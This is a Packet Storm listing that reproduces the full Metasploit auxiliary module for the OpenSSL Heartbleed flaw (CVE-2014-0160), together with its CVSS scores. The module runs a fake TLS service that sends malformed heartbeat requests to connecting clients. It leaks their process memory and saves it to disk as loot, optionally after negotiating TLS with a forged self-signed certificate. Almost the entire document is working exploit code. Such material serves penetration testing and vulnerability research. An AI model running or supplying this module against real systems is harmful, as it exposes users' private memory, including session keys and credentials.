Lucene search

K
packetstormH D Moore, Neel Mehta, Matti, Riku, Antti, metasploit.comPACKETSTORM:180746
HistoryAug 31, 2024 - 12:00 a.m.

OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

2024-08-3100:00:00
H D Moore, Neel Mehta, Matti, Riku, Antti, metasploit.com
packetstormsecurity.com
13
openssl
heartbleed
memory exposure
fake ssl service
cipher
capturing data
incoming clients
negotiate tls

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.6

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::TcpServer  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure',  
'Description' => %q{  
This module provides a fake SSL service that is intended to  
leak memory from client systems as they connect. This module is  
hardcoded for using the AES-128-CBC-SHA1 cipher.  
},  
'Author' =>  
[  
'Neel Mehta', # Vulnerability discovery  
'Riku', # Vulnerability discovery  
'Antti', # Vulnerability discovery  
'Matti', # Vulnerability discovery  
'hdm' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Actions' => [['Capture', 'Description' => 'Run server to disclose memory from incoming clients']],  
'PassiveActions' => ['Capture'],  
'DefaultAction' => 'Capture',  
'References' =>  
[  
[ 'CVE', '2014-0160' ],  
[ 'US-CERT-VU', '720951' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA14-098A' ],  
[ 'URL', 'http://heartbleed.com/' ]  
],  
'DisclosureDate' => 'Apr 07 2014',  
'Notes' =>  
{  
'AKA' => ['Heartbleed']  
}  
  
)  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]),  
OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),  
OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),  
OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])  
])  
end  
  
# Initialize the client state and RSA key for this session  
def setup  
super  
@state = {}  
@cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?  
end  
  
# Setup the server module and start handling requests  
def run  
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")  
exploit  
end  
  
# Determine how much memory to leak with each request  
def heartbeat_read_size  
datastore['HEARTBEAT_READ'].to_i  
end  
  
# Determine how much heartbeat data to capture at the most  
def heartbeat_limit  
datastore['HEARTBEAT_LIMIT'].to_i * 1024  
end  
  
# Determine whether we should negotiate TLS or not  
def negotiate_tls?  
!! datastore['NEGOTIATE_TLS']  
end  
  
# Initialize a new state for every client  
def on_client_connect(c)  
@state[c] = {  
:name => "#{c.peerhost}:#{c.peerport}",  
:ip => c.peerhost,  
:port => c.peerport,  
:heartbeats => "",  
:server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28)  
}  
print_status("#{@state[c][:name]} Connected")  
end  
  
# Buffer messages and parse them once they are fully received  
def on_client_data(c)  
data = c.get_once  
return if not data  
@state[c][:buff] ||= ""  
@state[c][:buff] << data  
process_request(c)  
end  
  
# Extract TLS messages from the buffer and process them  
def process_request(c)  
  
# Make this slightly harder to DoS  
if @state[c][:buff].to_s.length > (1024*128)  
print_status("#{@state[c][:name]} Buffer limit reached, dropping connection")  
c.close  
return  
end  
  
# Process any buffered messages  
loop do  
break unless @state[c][:buff]  
  
message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn")  
break unless message_len  
break unless @state[c][:buff].length >= message_len+5  
  
mesg = @state[c][:buff].slice!(0, message_len+5)  
  
if @state[c][:encrypted]  
process_openssl_encrypted_request(c, mesg)  
else  
process_openssl_cleartext_request(c, mesg)  
end  
end  
end  
  
# Process cleartext TLS messages  
def process_openssl_cleartext_request(c, data)  
message_type, message_version, protocol_version = data.unpack("Cn@9n")  
  
if message_type == 0x15 and data.length >= 7  
message_level, message_reason = data[5,2].unpack("CC")  
print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}")  
if message_level == 2 and message_reason == 0x30  
print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")  
return  
end  
  
if level == 2  
print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")  
return  
end  
  
end  
  
unless message_type == 0x18  
message_code = data[5,1].to_s.unpack("C").first  
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")  
end  
  
# Process the Client Hello  
unless @state[c][:received_hello]  
  
unless (message_type == 0x16 and data.length > 43 and message_code == 0x01)  
print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}")  
return  
end  
  
print_status("#{@state[c][:name]} Processing Client Hello...")  
  
# Extract the client_random needed to compute the master key  
@state[c][:client_random] = data[11,32]  
@state[c][:received_hello] = true  
  
print_status("#{@state[c][:name]} Sending Server Hello...")  
openssl_send_server_hello(c, data, protocol_version)  
return  
end  
  
# If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec  
if negotiate_tls?  
# Process the Client Key Exchange  
if message_type == 0x16 and data.length > 11 and message_code == 0x10  
print_status("#{@state[c][:name]} Processing Client Key Exchange...")  
premaster_length = data[9, 2].unpack("n").first  
  
# Extract the pre-master secret in encrypted form  
if data.length >= 11 + premaster_length  
premaster_encrypted = data[11, premaster_length]  
  
# Decrypt the pre-master secret using our RSA key  
premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil  
@state[c][:premaster] = premaster_clear if premaster_clear  
end  
end  
  
# Process the Change Cipher Spec and switch to encrypted communications  
if message_type == 0x14 and message_code == 0x01  
print_status("#{@state[c][:name]} Processing Change Cipher Spec...")  
initialize_encryption_keys(c)  
return  
end  
# Otherwise just start capturing heartbeats in clear-text mode  
else  
# Send heartbeat requests  
if @state[c][:heartbeats].length < heartbeat_limit  
openssl_send_heartbeat(c, protocol_version)  
end  
  
# Process cleartext heartbeat replies  
if message_type == 0x18  
vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")  
@state[c][:heartbeats] << data[5, data.length-5]  
end  
  
# Full up on heartbeats, disconnect the client  
if @state[c][:heartbeats].length >= heartbeat_limit  
print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")  
store_captured_heartbeats(c)  
c.close()  
end  
end  
end  
  
# Process encrypted TLS messages  
def process_openssl_encrypted_request(c, data)  
message_type, message_version, protocol_version = data.unpack("Cn@9n")  
  
return if @state[c][:shutdown]  
return unless data.length > 5  
  
buff = decrypt_data(c, data[5, data.length-5])  
unless buff  
print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")  
c.close  
return  
end  
  
message_code = buff[0,1].to_s.unpack("C").first  
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")  
  
if message_type == 0x16  
print_status("#{@state[c][:name]} Processing Client Finished...")  
end  
  
# Send heartbeat requests  
if @state[c][:heartbeats].length < heartbeat_limit  
openssl_send_heartbeat(c, protocol_version)  
end  
  
# Process heartbeat replies  
if message_type == 0x18  
vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]")  
@state[c][:heartbeats] << buff  
end  
  
# Full up on heartbeats, disconnect the client  
if @state[c][:heartbeats].length >= heartbeat_limit  
print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]")  
store_captured_heartbeats(c)  
c.close()  
end  
end  
  
# Dump captured memory to a file on disk using the loot API  
def store_captured_heartbeats(c)  
if @state[c][:heartbeats].length > 0  
begin  
path = store_loot(  
"openssl.heartbleed.client",  
"application/octet-stream",  
@state[c][:ip],  
@state[c][:heartbeats],  
nil,  
"OpenSSL Heartbleed client memory"  
)  
print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")  
rescue ::Interrupt  
raise $!  
rescue ::Exception  
print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")  
end  
  
# Report the memory disclosure as a vulnerability on the host  
report_vuln({  
:host => @state[c][:ip],  
:name => self.name,  
:info => "Module #{self.fullname} successfully dumped client memory contents",  
:refs => self.references,  
:exploited_at => Time.now.utc  
}) rescue nil # Squash errors related to ip => 127.0.0.1 and the like  
end  
  
# Clear the heartbeat array  
@state[c][:heartbeats] = ""  
@state[c][:shutdown] = true  
end  
  
# Delete the state on connection close  
def on_client_close(c)  
# Do we have any pending heartbeats to save?  
if @state[c][:heartbeats].length > 0  
store_captured_heartbeats(c)  
end  
@state.delete(c)  
end  
  
# Send an OpenSSL Server Hello response  
def openssl_send_server_hello(c, hello, version)  
  
# If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the  
# first cipher suite sent by the client.  
if @state[c][:encrypted]  
cipher = "\x00\x2F"  
else  
cipher = hello[46, 2]  
end  
  
# Create the Server Hello response  
extensions =  
"\x00\x0f\x00\x01\x01" # Heartbeat  
  
server_hello_payload =  
[version].pack('n') + # Use the protocol version sent by the client.  
@state[c][:server_random] + # Random (Timestamp + Random Bytes)  
"\x00" + # Session ID  
cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)  
"\x00" + # Compression Method (none)  
[extensions.length].pack('n') + extensions  
  
server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload  
  
msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello  
c.put(msg1)  
  
# Skip the rest of TLS if we arent negotiating it  
unless negotiate_tls?  
# Send a heartbeat request to start the stream and return  
openssl_send_heartbeat(c, version)  
return  
end  
  
# Certificates  
certs_combined = generate_certificates  
pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined  
msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2  
c.put(msg2)  
  
# End of Server Hello  
pay3 = "\x0e\x00\x00\x00"  
msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3  
c.put(msg3)  
end  
  
# Send the heartbeat request that results in memory exposure  
def openssl_send_heartbeat(c, version)  
c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")  
end  
  
# Pack the certificates for use in the TLS reply  
def generate_certificates  
certs = []  
certs << generate_certificate.to_der  
certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join  
end  
  
# Generate a self-signed certificate to use for the service  
def generate_certificate  
key = @cert_key  
cert = OpenSSL::X509::Certificate.new  
cert.version = 2  
cert.serial = rand(0xFFFFFFFF)  
  
subject_cn = Rex::Text.rand_hostname  
subject = OpenSSL::X509::Name.new([  
["C","US"],  
['ST', Rex::Text.rand_state()],  
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],  
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],  
["CN", subject_cn],  
])  
issuer = OpenSSL::X509::Name.new([  
["C","US"],  
['ST', Rex::Text.rand_state()],  
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],  
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],  
["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],  
])  
  
cert.subject = subject  
cert.issuer = issuer  
cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14)  
cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14)  
cert.public_key = key.public_key  
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)  
cert.extensions = [  
ef.create_extension("basicConstraints","CA:FALSE"),  
ef.create_extension("subjectKeyIdentifier","hash"),  
ef.create_extension("extendedKeyUsage","serverAuth"),  
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")  
]  
ef.issuer_certificate = cert  
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")  
cert.sign(key, OpenSSL::Digest.new('SHA1'))  
cert  
end  
  
# Decrypt the TLS message and return the result without the MAC  
def decrypt_data(c, data)  
return unless @state[c][:client_enc]  
  
cipher = @state[c][:client_enc]  
  
begin  
buff = cipher.update(data)  
buff << cipher.final  
  
# Trim the trailing MAC signature off the buffer  
if buff.length >= 20  
return buff[0, buff.length-20]  
end  
rescue ::OpenSSL::Cipher::CipherError => e  
print_error("#{@state[c][:name]} Decryption failed: #{e}")  
end  
  
nil  
end  
  
# Calculate keys and toggle encrypted status  
def initialize_encryption_keys(c)  
tls1_calculate_crypto_keys(c)  
@state[c][:encrypted] = true  
end  
  
# Determine crypto keys for AES-128-CBC based on the master secret  
def tls1_calculate_crypto_keys(c)  
@state[c][:master] = tls1_calculate_master_key(c)  
return unless @state[c][:master]  
  
key_block = tls1_prf(  
@state[c][:master],  
"key expansion" + @state[c][:server_random] + @state[c][:client_random],  
(20 * 2) + (16 * 4)  
)  
  
# Extract the MAC, encryption, and IV from the keyblock  
@state[c].update({  
:client_write_mac_key => key_block.slice!(0, 20),  
:server_write_mac_key => key_block.slice!(0, 20),  
:client_write_key => key_block.slice!(0, 16),  
:server_write_key => key_block.slice!(0, 16),  
:client_iv => key_block.slice!(0, 16),  
:server_iv => key_block.slice!(0, 16),  
})  
  
client_cipher = OpenSSL::Cipher.new('aes-128-cbc')  
client_cipher.decrypt  
client_cipher.key = @state[c][:client_write_key]  
client_cipher.iv = @state[c][:client_iv]  
client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1'))  
  
server_cipher = OpenSSL::Cipher.new('aes-128-cbc')  
server_cipher.encrypt  
server_cipher.key = @state[c][:server_write_key]  
server_cipher.iv = @state[c][:server_iv]  
server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1'))  
  
@state[c].update({  
:client_enc => client_cipher,  
:client_mac => client_mac,  
:server_enc => server_cipher,  
:server_mac => server_mac  
})  
  
true  
end  
  
# Determine the master key from the premaster and client/server randoms  
def tls1_calculate_master_key(c)  
return unless (  
@state[c][:premaster] and  
@state[c][:client_random] and  
@state[c][:server_random]  
)  
tls1_prf(  
@state[c][:premaster],  
"master secret" + @state[c][:client_random] + @state[c][:server_random],  
48  
)  
end  
  
# Random generator used to calculate key data for TLS 1.0/1.1  
def tls1_prf(input_secret, input_label, output_length)  
# Calculate S1 and S2 as even blocks of each half of the secret  
# string. If the blocks are uneven, then S1's last byte should  
# be duplicated by S2's first byte  
blen = (input_secret.length / 2.0).ceil  
s1 = input_secret[0, blen]  
s2_index = blen  
if input_secret.length % 2 != 0  
s2_index -= 1  
end  
s2 = input_secret[s2_index, blen]  
  
# Hash the first part with MD5  
out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*")  
  
# Hash the second part with SHA1  
out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*")  
  
# XOR the results together  
[*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*")  
end  
  
# Used by tls1_prf to generate arbitrary amounts of session key data  
def tls1_p_hash(digest, secret, label, olen)  
output = ""  
chunk = OpenSSL::Digest.new(digest).digest_length  
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))  
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))  
  
ctx.update(label)  
a1 = ctx.digest  
  
loop do  
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))  
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))  
ctx.update(a1)  
ctx_tmp.update(a1)  
ctx.update(label)  
  
if olen > chunk  
output << ctx.digest  
a1 = ctx_tmp.digest  
olen -= chunk  
else  
a1 = ctx.digest  
output << a1[0, olen]  
break  
end  
end  
  
output  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.6

Confidence

Low